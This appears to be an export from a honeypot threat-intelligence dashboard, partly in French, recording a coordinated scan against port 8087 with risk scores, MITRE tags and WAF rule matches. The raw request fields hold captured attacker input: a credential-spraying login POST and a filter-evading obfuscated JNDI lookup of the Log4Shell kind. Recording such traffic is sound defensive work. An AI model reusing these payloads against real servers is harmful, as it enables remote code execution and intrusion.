"http_header_count": 5,
"http_query_params": 0,
"http_path_depth": 1,
"http_path_ext": null,
"http_ua_hash": "9468a4a53a2f2fd9ea96db22dc9dd9bb6ce38b7c",
"http_host_hash": "23dd08f746fb09fb08372c318f4fc3071fcf4424",
"http_target_hash": "c42c80aa06113268fddf90dfdc871fb7318ff5cf",
"http_referer_hash": null,
"http_method": "POST",
"http_ua_is_cli": false,
"http_ua_is_browser": true,
"bytes_in": 1844,
"payload_entropy": 5.1080549662858505,
"port_category": "registered",
"org": "Google LLC",
"service": "http",
"app_proto": "http",
"asn": 396982,
"country": "US",
"dst_port": 8087,
"risk_waf": 100,
"risk_classification": 78,
"risk_behavior": 0,
"risk_geo": 40,
"risk_protocol": 43,
"risk_novelty": 25,
"risk_boost": 0,
"risk_granularity": 7.1,
"risk_breakdown": {
"waf": 100,
"classification": 78,
"behavior": 0,
"geo": 40,
"protocol": 43,
"novelty": 25
},
"risk_score": 71,
"tag_count": 8,
"anomaly_count": 0,
"campaign_key": "149e7dd6dc5902d96e4d2f9af242ee1acb60e73e",
"event_fingerprint": "e20a3e7cc9c8ef96b9712e646001320451341954",
"classification_reason": "Type \u00ab bruteforce_credential_spray \u00bb (signaux protocolaires) \u00b7 confiance 100%",
"confidence": 1,
"classification_confidence": 1,
"precision_score": 121,
"precision_signals": [
"MITRE-T1078",
"INT-beh-cred-stuff"
],
"kb_rule_ids": [
"MITRE-T1078",
"INT-beh-cred-stuff"
],
"matched_patterns": [
"pat-0842",
"pat-0324"
],
"matched_pattern_names": [
"CRS 921130 duplicate CL",
"SSRF Any-address SSRF"
],
"pattern_ids": [
"pat-0842",
"pat-0324"
],
"confidence_breakdown": {
"waf": 100,
"classification": 78,
"behavior": 0,
"geo": 40,
"protocol": 43,
"novelty": 25,
"risk_score": 71,
"correlation_boost": 18
},
"named_classification_skipped": false,
"classification_parent": "credential_stuffing",
"service_name": "http",
"risk_confidence_factor": 100,
"city": null,
"is_datacenter": true,
"is_tor_hint": false,
"geo": {
"country": "US",
"asn": 396982,
"org": "Google LLC",
"is_datacenter": true,
"is_tor_hint": false
},
"fingerprint": {
"http_ua_hash": "2994862c1f8176879ed381354c9dd245",
"payload_hash": "db75ff2d90610702a17ee0efed0c5bdb",
"path_pattern_hash": "7e93fba0bc7adda858a2500090e639e4"
},
"target_context": {
"dst_port": 8087,
"service": "http",
"service_name": "http",
"risk_score": 71
},
"payload_preview": "POST \/login HTTP\/1.1\r\nHost: 62.3.50.33:8087\r\nAccept: *\/*\r\nUser-Agent: Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKi",
"method": "POST",
"path": "\/login",
"user_agent": "Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/110.0.0.0 Safari\/537.36",
"waf_tags": [
"950326:rce-0",
"950327:rce-0",
"950470:nosqli-3",
"950471:nosqli-3"
],
"waf_rule_names": [
"rce-0",
"nosqli-3"
],
"request_line": "POST \/login HTTP\/1.1",
"request_sample": "POST \/login HTTP\/1.1\r\nHost: 62.3.50.33:8087\r\nAccept: *\/*\r\nUser-Agent: Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/110.0.0.0 Safari\/537.36\r\nContent-Type: application\/json\r\nContent-Length: 1599\r\n\r\n{\"username\"",
"payload_snippet": "POST \/login HTTP\/1.1\r\nHost: 62.3.50.33:8087\r\nAccept: *\/*\r\nUser-Agent: Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKi",
"evidence": {
"method": "POST",
"path": "\/login",
"user_agent": "Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/110.0.0.0 Safari\/537.36",
"waf_tags": [
"950326:rce-0",
"950327:rce-0",
"950470:nosqli-3",
"950471:nosqli-3"
],
"waf_rule_names": [
"rce-0",
"nosqli-3"
],
"request_line": "POST \/login HTTP\/1.1",
"request_sample": "POST \/login HTTP\/1.1\r\nHost: 62.3.50.33:8087\r\nAccept: *\/*\r\nUser-Agent: Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/110.0.0.0 Safari\/537.36\r\nContent-Type: application\/json\r\nContent-Length: 1599\r\n\r\n{\"username\"",
"payload_snippet": "POST \/login HTTP\/1.1\r\nHost: 62.3.50.33:8087\r\nAccept: *\/*\r\nUser-Agent: Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKi",
"classification_reason": "Type \u00ab bruteforce_credential_spray \u00bb (signaux protocolaires) \u00b7 confiance 100%"
},
"attack_stage": "probe",
"mitre_tactics": [
"TA0007",
"TA0001"
],
"mitre_techniques": [
"T1078",
"T1110"
],
"mitre": "T1078",
"threat_family": [
"unknown"
],
"recommended_client_action": "investigate",
"policy_mode": "intelligence",
"sensor_role": "threat_intelligence",
"event_signature": "ae7147a18b3839441c921e5ecb139e46cf46e30f",
"protocol_details": {
"http_method": "POST",
"http_path": "\/login",
"request_line": "POST \/login HTTP\/1.1",
"http_user_agent": "Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/110.0.0.0 Safari\/537.36",
"port": 8087,
"service": "http",
"service_label_fr": "HTTP"
},
"evidence_snippet": "POST \/login HTTP\/1.1\r\nHost: 62.3.50.33:8087\r\nAccept: *\/*\r\nUser-Agent: Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKi",
"attack_vector": "bruteforce credential spray \u00b7 via HTTP:8087 \u00b7 (sonde \/ probe) \u00b7 \u2192 \/login",
"target_port_label": "8087 \u00b7 HTTP",
"emulator_service": "http",
"confidence_reason": "Confiance 100 % \u2014 4 tag(s) WAF",
"site_display": {
"classification": null,
"classification_reason": "Type \u00ab bruteforce_credential_spray \u00bb (signaux protocolaires) \u00b7 confiance 100%",
"classification_reason_label_fr": "Type \u00ab bruteforce_credential_spray \u00bb (signaux protocolaires) \u00b7 confiance 100%",
"executive_one_liner_fr": "Activit\u00e9 suspecte \u2014 risque 71\/100 (\u00c9lev\u00e9) \u2014 MITRE T1078 \u2014 confiance 100 % \u2014 via HTTP \u2014 multi-protocole (2 protocoles \u00b7 5 min)",
"confidence_pct": 100,
"confidence_breakdown": {
"waf": 100,
"classification": 78,
"behavior": 0,
"geo": 40,
"protocol": 43,
"novelty": 25,
"risk_score": 71,
"correlation_boost": 18
},
"attack_stage": "probe",
"attack_stage_label": "Sonde \/ probe",
"attack_chain_stage": "reconnaissance",
"attack_chain_stage_label_fr": "Reconnaissance",
"risk_score": 71,
"risk_label": "\u00c9lev\u00e9",
"service_name": "http",
"service_label_fr": "HTTP",
"dst_port": 8087,
"protocol_emulated": true,
"tags_summary": [
"MITRE-T1078",
"INT-beh-cred-stuff"
],
"tags_summary_labels_fr": [
"MITRE-T1078",
"Beh Cred Stuff"
],
"recommended_action": "investigate",
"recommended_action_label": "Investiguer",
"mitre": "T1078",
"mitre_technique": "T1078",
"persona_hostname": "mail.sensor-1.internal",
"persona_service_banner": "honeypot-http",
"correlation_flags": [
"scan_coordonn\u00e9",
"multi_protocol_correlation"
],
"correlation_flags_labels_fr": [
"Scan coordonn\u00e9",
"Multi-protocole corr\u00e9l\u00e9 (5 min)"
],
"sensor_role": "threat_intelligence",
"sensor_role_label_fr": "Renseignement menaces",
"confidence_hint_fr": "Corr\u00e9lation +18",
"protocol_details": {
"http_method": "POST",
"http_path": "\/login",
"request_line": "POST \/login HTTP\/1.1",
"http_user_agent": "Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/110.0.0.0 Safari\/537.36",
"port": 8087,
"service": "http",
"service_label_fr": "HTTP"
},
"attack_vector": "bruteforce credential spray \u00b7 via HTTP:8087 \u00b7 (sonde \/ probe) \u00b7 \u2192 \/login",
"evidence_snippet": "POST \/login HTTP\/1.1\r\nHost: 62.3.50.33:8087\r\nAccept: *\/*\r\nUser-Agent: Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKi",
"target_port_label": "8087 \u00b7 HTTP",
"emulator_service": "http",
"confidence_reason": "Confiance 100 % \u2014 4 tag(s) WAF",
"confidence_factors_fr": "Confiance 100 % \u2014 Score WAF 100 \u00b7 Bonus corr\u00e9lation +18 \u00b7 4 tag(s) WAF",
"campaign_hint_fr": "Campagne de scan \u2014 plusieurs IP du m\u00eame \/24 (34.19.127.0\/24, \u22653 pairs)",
"attack_phases_timeline_fr": [
{
"key": "recon",
"label_fr": "Reconnaissance",
"active": false,
"kind": "stage"
},
{
"key": "probe",
"label_fr": "Sonde \/ probe",
"active": true,
"kind": "stage"
},
{
"key": "exploit_attempt",
"label_fr": "Tentative d'exploit",
"active": false,
"kind": "stage"
},
{
"key": "post_exploit",
"label_fr": "Post-exploitation",
"active": false,
"kind": "stage"
},
{
"key": "c2",
"label_fr": "Commande & contr\u00f4le",
"active": false,
"kind": "stage"
},
{
"key": "reconnaissance",
"label_fr": "Reconnaissance",
"active": true,
"kind": "chain",
"hint_fr": null
}
]
},
"honeypot_persona": {
"sensor_id": "sensor-1",
"hostname": "mail.sensor-1.internal",
"mail_host": "mail.sensor-1.internal",
"ldap_dc": "dc.sensor-1.internal",
"k8s_cluster": "hp-sensor-1",
"domain": "sensor-1.internal",
"service_role": "http",
"service_banner": "honeypot-http",
"service_os": "linux",
"dst_port": "8087"
},
"hostname": "mail.sensor-1.internal",
"sensor_id": "sensor-1",
"multi_protocol_correlation": true,
"multi_protocol_count": 2,
"multi_protocol_sample": [
"http",
"http-alt-8087"
],
"multi_protocol_window_s": 300,
"coordinated_scan": true,
"coordinated_subnet": "34.19.127.0\/24",
"coordinated_ip_count": 25,
"behavior_alerts": [
"coordinated_scan",
"multi_protocol_correlation"
],
"correlation_confidence_boost": 18,
"attack_chain_stage": "reconnaissance",
"ban_policy": "advisory_investigate",
"tags_list": [
"950326:rce-0",
"950327:rce-0",
"950470:nosqli-3",
"950471:nosqli-3",
"http_credential_body",
"http_probe_login",
"http_ssti",
"net_web_probe"
],
"asn_dc_heuristic": true
}
30/07/2026 18:47:20 UTC
TCP
8087 · HTTP ALT 8087
Injection PHP
php injection · via HTTP ALT 8087:8087 · (tentative d'exploit)
Faible
Moyen · 52
Détails
Voir
Étape
Tentative d'exploit
Chaîne
Reconnaissance
Persona
mail.sensor-1.internal
Rôle capteur
Renseignement menaces
Corrélations
Scan coordonné
Multi-protocole corrélé (5 min)
MITRE
TA0001
TA0001
TA0002
Protocole
Émulateur
HTTP-ALT-8087
WAF
—
Recommandation
Investiguer
Tags
—
Cible HTTP
—
TLS SNI
—
Capteur
paris-1
Méthode
—
Port
8087
Chemin / cible
—
Service
HTTP ALT 8087
Payload
ZSDLKFJ2 /${${xy3:-j}${nq64:-n}${zi:q4s:yrd:-d}${jk:su:4:-i}${td:b:-:}${7:0sb:-l}${oj:b:-d}${t3a:gvr7:j:-a}${lc:gris:9:-p}${v:vw
Pourquoi cette classification : Type « php_injection » (signaux protocolaires) · confiance 97%
Confiance classification
100%
Corrélation +18
Risque capteur
Moyen
· 52
Confiance : Confiance 97 % — Preuve dans le payload · Motif catalogue confirmé
Protocole émulé
1 Signaux
pat-0162
Technique MITRE
TA0001
Tactiques MITRE
TA0001
TA0002
Motifs de détection (base)
CRS 933135
User-Agent
—
Règles WAF
—
Payload (extrait)
ZSDLKFJ2 /${${xy3:-j}${nq64:-n}${zi:q4s:yrd:-d}${jk:su:4:-i}${td:b:-:}${7:0sb:-l}${oj:b:-d}${t3a:gvr7:j:-a}${lc:gris:9:-p}${v:vw
Requête brute (extrait)
ZSDLKFJ2 /${${xy3:-j}${nq64:-n}${zi:q4s:yrd:-d}${jk:su:4:-i}${td:b:-:}${7:0sb:-l}${oj:b:-d}${t3a:gvr7:j:-a}${lc:gris:9:-p}${v:vws:-:}${am:-/}${fe2n:zj:ls:-/}${nbs:ehxq:-P}${ve:r7:-A}${cm:-l}${yg2:ota4:-0}${gr6:rq:v3h:-c}${3o:c:27v:--}${${rizm:-s}${4v26:-y}
Meta JSON brut
{
"protocol_emulated": true,
"emulator_response": "485454502f312e3120323030204f4b0d0a5365727665723a204170616368652f322e342e35370d0a436f6e74656e742d4c656e6774683a20320d0a436f6e6e656374696f6e3a20636c6f73650d0a0d0a4f4b",
"emulator_response_len": 82,
"bytes_in": 4096,
"payload_entropy": 4.856590710256235,
"port_category": "registered",
"org": "Google LLC",
"service": "http-alt-8087",
"app_proto": "http-alt-8087",
"asn": 396982,
"country": "US",
"dst_port": 8087,
"risk_waf": 8,
"risk_classification": 84,
"risk_behavior": 0,
"risk_geo": 40,
"risk_protocol": 22,
"risk_novelty": 15,
"risk_boost": 0,
"risk_granularity": 4.3,
"risk_breakdown": {
"waf": 8,
"classification": 84,
"behavior": 0,
"geo": 40,
"protocol": 22,
"novelty": 15
},
"risk_score": 52,
"tag_count": 0,
"anomaly_count": 0,
"campaign_key": "6c638932416ef1b7c2d7f913329ae6daae9f0e0d",
"event_fingerprint": "dbdfef249c4070a0f49f9fa3d8dfdd97da9f4af0",
"classification_reason": "Type \u00ab php_injection \u00bb (signaux protocolaires) \u00b7 confiance 97%",
"confidence": 1,
"classification_confidence": 1,
"precision_score": 70,
"precision_signals": [
"pat-0162"
],
"kb_rule_ids": [
"pat-0162"
],
"matched_patterns": [
"pat-0162"
],
"matched_pattern_names": [
"CRS 933135"
],
"pattern_ids": [
"pat-0162"
],
"confidence_breakdown": {
"waf": 8,
"classification": 84,
"behavior": 0,
"geo": 40,
"protocol": 22,
"novelty": 15,
"risk_score": 52,
"correlation_boost": 18
},
"named_classification_skipped": false,
"service_name": "http-alt-8087",
"risk_confidence_factor": 97,
"city": null,
"is_datacenter": true,
"is_tor_hint": false,
"geo": {
"country": "US",
"asn": 396982,
"org": "Google LLC",
"is_datacenter": true,
"is_tor_hint": false
},
"fingerprint": {
"payload_hash": "0aa588a48688be7659eec7ad53101f66",
"path_pattern_hash": "765741bf96f2b0261b26b2b9f8ad710b"
},
"target_context": {
"dst_port": 8087,
"service": "http-alt-8087",
"service_name": "http-alt-8087",
"risk_score": 52
},
"payload_preview": "ZSDLKFJ2 \/${${xy3:-j}${nq64:-n}${zi:q4s:yrd:-d}${jk:su:4:-i}${td:b:-:}${7:0sb:-l}${oj:b:-d}${t3a:gvr7:j:-a}${lc:gris:9:-p}${v:vw",
"request_sample": "ZSDLKFJ2 \/${${xy3:-j}${nq64:-n}${zi:q4s:yrd:-d}${jk:su:4:-i}${td:b:-:}${7:0sb:-l}${oj:b:-d}${t3a:gvr7:j:-a}${lc:gris:9:-p}${v:vws:-:}${am:-\/}${fe2n:zj:ls:-\/}${nbs:ehxq:-P}${ve:r7:-A}${cm:-l}${yg2:ota4:-0}${gr6:rq:v3h:-c}${3o:c:27v:--}${${rizm:-s}${4v26:-y}",
"payload_snippet": "ZSDLKFJ2 \/${${xy3:-j}${nq64:-n}${zi:q4s:yrd:-d}${jk:su:4:-i}${td:b:-:}${7:0sb:-l}${oj:b:-d}${t3a:gvr7:j:-a}${lc:gris:9:-p}${v:vw",
"evidence": {
"request_sample": "ZSDLKFJ2 \/${${xy3:-j}${nq64:-n}${zi:q4s:yrd:-d}${jk:su:4:-i}${td:b:-:}${7:0sb:-l}${oj:b:-d}${t3a:gvr7:j:-a}${lc:gris:9:-p}${v:vws:-:}${am:-\/}${fe2n:zj:ls:-\/}${nbs:ehxq:-P}${ve:r7:-A}${cm:-l}${yg2:ota4:-0}${gr6:rq:v3h:-c}${3o:c:27v:--}${${rizm:-s}${4v26:-y}",
"payload_snippet": "ZSDLKFJ2 \/${${xy3:-j}${nq64:-n}${zi:q4s:yrd:-d}${jk:su:4:-i}${td:b:-:}${7:0sb:-l}${oj:b:-d}${t3a:gvr7:j:-a}${lc:gris:9:-p}${v:vw",
"classification_reason": "Type \u00ab php_injection \u00bb (signaux protocolaires) \u00b7 confiance 97%"
},
"attack_stage": "exploit_attempt",
"mitre_tactics": [
"TA0001",
"TA0002"
],
"mitre": "TA0001",
"threat_family": [
"rce_probe"
],
"recommended_client_action": "investigate",
"policy_mode": "intelligence",
"sensor_role": "threat_intelligence",
"event_signature": "fe026ae1609175182e26aa1cedddb0ad18c63625",
"protocol_details": {
"payload_preview": "ZSDLKFJ2 \/${${xy3:-j}${nq64:-n}${zi:q4s:yrd:-d}${jk:su:4:-i}${td:b:-:}${7:0sb:-l}${oj:b:-d}${t3a:gvr7:j:-a}${lc:gris:9:-p}${v:vw",
"port": 8087,
"service": "http-alt-8087",
"service_label_fr": "HTTP ALT 8087"
},
"evidence_snippet": "ZSDLKFJ2 \/${${xy3:-j}${nq64:-n}${zi:q4s:yrd:-d}${jk:su:4:-i}${td:b:-:}${7:0sb:-l}${oj:b:-d}${t3a:gvr7:j:-a}${lc:gris:9:-p}${v:vw",
"attack_vector": "php injection \u00b7 via HTTP ALT 8087:8087 \u00b7 (tentative d'exploit)",
"target_port_label": "8087 \u00b7 HTTP ALT 8087",
"emulator_service": "http-alt-8087",
"confidence_reason": "Confiance 97 % \u2014 Preuve dans le payload \u00b7 Motif catalogue confirm\u00e9",
"site_display": {
"classification": null,
"classification_reason": "Type \u00ab php_injection \u00bb (signaux protocolaires) \u00b7 confiance 97%",
"classification_reason_label_fr": "Type \u00ab php_injection \u00bb (signaux protocolaires) \u00b7 confiance 97%",
"executive_one_liner_fr": "Activit\u00e9 suspecte \u2014 risque 52\/100 (Moyen) \u2014 MITRE TA0001 \u2014 confiance 100 % \u2014 via HTTP ALT 8087 \u2014 multi-protocole (2 protocoles \u00b7 5 min)",
"confidence_pct": 100,
"confidence_breakdown": {
"waf": 8,
"classification": 84,
"behavior": 0,
"geo": 40,
"protocol": 22,
"novelty": 15,
"risk_score": 52,
"correlation_boost": 18
},
"attack_stage": "exploit_attempt",
"attack_stage_label": "Tentative d'exploit",
"attack_chain_stage": "reconnaissance",
"attack_chain_stage_label_fr": "Reconnaissance",
"risk_score": 52,
"risk_label": "Moyen",
"service_name": "http-alt-8087",
"service_label_fr": "HTTP ALT 8087",
"dst_port": 8087,
"protocol_emulated": true,
"tags_summary": [
"pat-0162"
],
"tags_summary_labels_fr": [
"pat-0162"
],
"recommended_action": "investigate",
"recommended_action_label": "Investiguer",
"mitre": "TA0001",
"mitre_technique": "TA0001",
"persona_hostname": "mail.sensor-1.internal",
"persona_service_banner": "honeypot-http-alt-8087",
"correlation_flags": [
"scan_coordonn\u00e9",
"multi_protocol_correlation"
],
"correlation_flags_labels_fr": [
"Scan coordonn\u00e9",
"Multi-protocole corr\u00e9l\u00e9 (5 min)"
],
"sensor_role": "threat_intelligence",
"sensor_role_label_fr": "Renseignement menaces",
"confidence_hint_fr": "Corr\u00e9lation +18",
"protocol_details": {
"payload_preview": "ZSDLKFJ2 \/${${xy3:-j}${nq64:-n}${zi:q4s:yrd:-d}${jk:su:4:-i}${td:b:-:}${7:0sb:-l}${oj:b:-d}${t3a:gvr7:j:-a}${lc:gris:9:-p}${v:vw",
"port": 8087,
"service": "http-alt-8087",
"service_label_fr": "HTTP ALT 8087"
},
"attack_vector": "php injection \u00b7 via HTTP ALT 8087:8087 \u00b7 (tentative d'exploit)",
"evidence_snippet": "ZSDLKFJ2 \/${${xy3:-j}${nq64:-n}${zi:q4s:yrd:-d}${jk:su:4:-i}${td:b:-:}${7:0sb:-l}${oj:b:-d}${t3a:gvr7:j:-a}${lc:gris:9:-p}${v:vw",
"target_port_label": "8087 \u00b7 HTTP ALT 8087",
"emulator_service": "http-alt-8087",
"confidence_reason": "Confiance 97 % \u2014 Preuve dans le payload \u00b7 Motif catalogue confirm\u00e9",
"confidence_factors_fr": "Confiance 100 % \u2014 Score WAF 8 \u00b7 Bonus corr\u00e9lation +18",
"campaign_hint_fr": "Campagne de scan \u2014 plusieurs IP du m\u00eame \/24 (34.19.127.0\/24, \u22653 pairs)",
"attack_phases_timeline_fr": [
{
"key": "recon",
"label_fr": "Reconnaissance",
"active": false,
"kind": "stage"
},
{
"key": "probe",
"label_fr": "Sonde \/ probe",
"active": false,
"kind": "stage"
},
{
"key": "exploit_attempt",
"label_fr": "Tentative d'exploit",
"active": true,
"kind": "stage"
},
{
"key": "post_exploit",
"label_fr": "Post-exploitation",
"active": false,
"kind": "stage"
},
{
"key": "c2",
"label_fr": "Commande & contr\u00f4le",
"active": false,
"kind": "stage"
},
{
"key": "reconnaissance",
"label_fr": "Reconnaissance",
"active": true,
"kind": "chain",
"hint_fr": null
}
]
},
"honeypot_persona": {
"sensor_id": "sensor-1",
"hostname": "mail.sensor-1.internal",
"mail_host": "mail.sensor-1.internal",
"ldap_dc": "dc.sensor-1.internal",
"k8s_cluster": "hp-sensor-1",
"domain": "sensor-1.internal",
"service_role": "http_alt_8087",
"service_banner": "honeypot-http-alt-8087",
"service_os": "linux",
"dst_port": "8087"
},
"hostname": "mail.sensor-1.internal",
"sensor_id": "sensor-1",
"multi_protocol_correlation": true,
"multi_protocol_count": 2,
"multi_protocol_sample": [
"http",
"http-alt-8087"
],
"multi_protocol_window_s": 300,
"coordinated_scan": true,
"coordinated_subnet": "34.19.127.0\/24",
"coordinated_ip_count": 25,
"behavior_alerts": [
"coordinated_scan",
"multi_protocol_correlation"
],
"correlation_confidence_boost": 18,
"attack_chain_stage": "reconnaissance",
"ban_policy": "advisory_investigate",
"asn_dc_heuristic": true
}
30/07/2026 18:47:19 UTC
TCP
8087 · HTTP
Sonde port 8087/TCP
port 8087 tcp · via HTTP:8087 · (sonde / probe) · → /${${or:-j}${w5:-n}${zxk:6kgw:0hn:-d}${7s:3s0:j…
Élevée
Moyen · 62
Détails
Voir
Étape
Sonde / probe
Chaîne
Reconnaissance
Persona
mail.sensor-1.internal
Rôle capteur
Renseignement menaces
Corrélations
Scan coordonné
MITRE
TA0007
TA0007
TA0001
Protocole
GET /${${or:-j}${w5:-n}${zxk:6kgw:0hn:-d}${7s:3s0:jsh9:-i}${2mt:-:}${z:-l}${4:-d}${d0zs:w:-a}${0b:-p}${… UA Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537…
Émulateur
HTTP
WAF
26
Recommandation
Investiguer
Tags
950324:rce-0
950326:rce-0
950468:nosqli-3
950470:nosqli-3
Cible HTTP
GET
/${${or:-j}${w5:-n}${zxk:6kgw:0hn:-d}${7s:3s0:jsh9:-i}${2mt:-:}${z:-l}${4:-d}${d0zs:w:-a}${0b:-p}${i0:1x49:-:}${n3di:-/}${wds:4xfk:-/}${x:4wpq:-P}${npxw:rf0:q2u:-A}${x61:-l}${rgc:-0}${u6:ta:-c}${jr:hv:k5:--}${${y8m:fi9:-s}${rvdk:g2:-y}${13c:pjvk:-s}${k1g:qa:-:}${pitm:k:-j}${9xv:-a}${x:y:-v}${s:mf:k:-a}${f2:-.}${ko7:m:-v}${0nmx:qk:-e}${75li:u36:p:-r}${0w5:o:cp:-s}${ecr:9d16:6rp:-i}${4egz:s4k:-o}${i:0na8:e:-n}}${wz0a:-.}${4pd:uq:5djb:-4}${s:-e}${tn:1n:8d92:-b}${n:-e}${mvbl:njxy:6nc:-7}${y4:3:rg:-b}${j8:-a}${r
TLS SNI
—
Capteur
paris-1
Méthode
GET
Port
8087
Chemin / cible
/${${or:-j}${w5:-n}${zxk:6kgw:0hn:-d}${7s:3s0:jsh9:-i}${2mt:-:}${z:-l}${4:-d}${d0zs:w:-a}${0b:-p}${i0:1x49:-:}${n3di:-/}${wds:4xfk:-/}${x:4wpq:-P}${npxw:rf0:q2…
Preuve honeypot — Sonde port 8087/TCP
Connexion détectée sur le port 8087 (TCP) du capteur simulé.
Pourquoi cette classification : Type « port_8087_tcp » (signaux protocolaires) · confiance 50%
Confiance classification
60%
Corrélation +10
Risque capteur
Moyen
· 62
Confiance : Confiance 50 % — Motif catalogue confirmé · Classification nommée non retenue — preuves insuffisantes · 4 tag(s) WAF
Protocole émulé
1 Signaux
pat-0162
Technique MITRE
TA0007
Tactiques MITRE
TA0007
TA0001
Motifs de détection (base)
CRS 933135
Ligne de requête
GET /${${or:-j}${w5:-n}${zxk:6kgw:0hn:-d}${7s:3s0:jsh9:-i}${2mt:-:}${z:-l}${4:-d}${d0zs:w:-a}${0b:-p}${i0:1x49:-:}${n3di:-/}${wds:4xfk:-/}${x:4wpq:-P}${npxw:rf0:q2u:-A}${x61:-l}${rgc:-0}${u6:ta:-c}${jr:hv:k5:--}${${y8m:fi9:-s}${rvdk:g2:-y}${13c:pjvk:-s}${k1g:qa:-:}${pitm:k:-j}${9xv:-a}${x:y:-v}${s:mf:k:-a}${f2:-.}${ko7:m:-v}${0nmx:qk:-e}${75li:u36:p:-r}${0w5:o:cp:-s}${ecr:9d16:6rp:-i}${4egz:s4k:-o}${i:0na8:e:-n}}${wz0a:-.}${4pd:uq:5djb:-4}${s:-e}${tn:1n:8d92:-b}${n:-e}${mvbl:njxy:6nc:-7}${y4:3:rg:-b}${j8:-a
User-Agent
Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/110.0.0.0 Safari/537.36
Règles WAF
rce-0
nosqli-3
Payload (extrait)
GET /${${or:-j}${w5:-n}${zxk:6kgw:0hn:-d}${7s:3s0:jsh9:-i}${2mt:-:}${z:-l}${4:-d}${d0zs:w:-a}${0b:-p}${i0:1x49:-:}${n3di:-/}${wd
Requête brute (extrait)
GET /${${or:-j}${w5:-n}${zxk:6kgw:0hn:-d}${7s:3s0:jsh9:-i}${2mt:-:}${z:-l}${4:-d}${d0zs:w:-a}${0b:-p}${i0:1x49:-:}${n3di:-/}${wds:4xfk:-/}${x:4wpq:-P}${npxw:rf0:q2u:-A}${x61:-l}${rgc:-0}${u6:ta:-c}${jr:hv:k5:--}${${y8m:fi9:-s}${rvdk:g2:-y}${13c:pjvk:-s}${k
Meta JSON brut
{
"protocol_emulated": true,
"emulator_response": "485454502f312e3120323030204f4b0d0a5365727665723a204170616368652f322e342e35370d0a436f6e74656e742d4c656e6774683a20320d0a436f6e6e656374696f6e3a20636c6f73650d0a0d0a4f4b",
"emulator_response_len": 82,
"http_header_count": 5,
"http_query_params": 0,
"http_path_depth": 3,
"http_path_ext": "}${i9:toh:n:-g}${2:-o}${t:gta:o:-o}${k:np:-g}}",
"http_ua_hash": "9468a4a53a2f2fd9ea96db22dc9dd9bb6ce38b7c",
"http_host_hash": "23dd08f746fb09fb08372c318f4fc3071fcf4424",
"http_target_hash": "ca31613904716f7715c63fe7c0ebb32d3d47c4de",
"http_referer_hash": null,
"http_method": "GET",
"http_ua_is_cli": false,
"http_ua_is_browser": true,
"bytes_in": 4096,
"payload_entropy": 4.862284263102676,
"port_category": "registered",
"org": "Google LLC",
"service": "http",
"app_proto": "http",
"asn": 396982,
"country": "US",
"dst_port": 8087,
"risk_waf": 100,
"risk_classification": 60,
"risk_behavior": 0,
"risk_geo": 40,
"risk_protocol": 43,
"risk_novelty": 25,
"risk_boost": 0,
"risk_granularity": 7.1,
"risk_breakdown": {
"waf": 100,
"classification": 60,
"behavior": 0,
"geo": 40,
"protocol": 43,
"novelty": 25
},
"risk_score": 62,
"tag_count": 8,
"anomaly_count": 0,
"campaign_key": "34c1efb700587e66e6db0618c6e1b22b36866c57",
"event_fingerprint": "7f3754af99b02798d98b5e7e40dcfca4ae84503a",
"classification_reason": "Type \u00ab port_8087_tcp \u00bb (signaux protocolaires) \u00b7 confiance 50%",
"confidence": 0.6,
"classification_confidence": 0.6,
"precision_score": 70,
"precision_signals": [
"pat-0162"
],
"kb_rule_ids": [
"pat-0162"
],
"matched_patterns": [
"pat-0162"
],
"matched_pattern_names": [
"CRS 933135"
],
"pattern_ids": [
"pat-0162"
],
"confidence_breakdown": {
"waf": 100,
"classification": 60,
"behavior": 0,
"geo": 40,
"protocol": 43,
"novelty": 25,
"risk_score": 62,
"correlation_boost": 10
},
"named_classification_skipped": true,
"named_candidate": "php_injection",
"service_name": "http",
"risk_confidence_factor": 50,
"city": null,
"is_datacenter": true,
"is_tor_hint": false,
"geo": {
"country": "US",
"asn": 396982,
"org": "Google LLC",
"is_datacenter": true,
"is_tor_hint": false
},
"fingerprint": {
"http_ua_hash": "2994862c1f8176879ed381354c9dd245",
"payload_hash": "74c4858c7082433f51563e05dbd25dea",
"path_pattern_hash": "74f4fa2e2746be8dbdd6ad46b755d72c"
},
"target_context": {
"dst_port": 8087,
"service": "http",
"service_name": "http",
"risk_score": 62
},
"method": "GET",
"path": "\/${${or:-j}${w5:-n}${zxk:6kgw:0hn:-d}${7s:3s0:jsh9:-i}${2mt:-:}${z:-l}${4:-d}${d0zs:w:-a}${0b:-p}${i0:1x49:-:}${n3di:-\/}${wds:4xfk:-\/}${x:4wpq:-P}${npxw:rf0:q2u:-A}${x61:-l}${rgc:-0}${u6:ta:-c}${jr:hv:k5:--}${${y8m:fi9:-s}${rvdk:g2:-y}${13c:pjvk:-s}${k1g:qa:-:}${pitm:k:-j}${9xv:-a}${x:y:-v}${s:mf:k:-a}${f2:-.}${ko7:m:-v}${0nmx:qk:-e}${75li:u36:p:-r}${0w5:o:cp:-s}${ecr:9d16:6rp:-i}${4egz:s4k:-o}${i:0na8:e:-n}}${wz0a:-.}${4pd:uq:5djb:-4}${s:-e}${tn:1n:8d92:-b}${n:-e}${mvbl:njxy:6nc:-7}${y4:3:rg:-b}${j8:-a}${r",
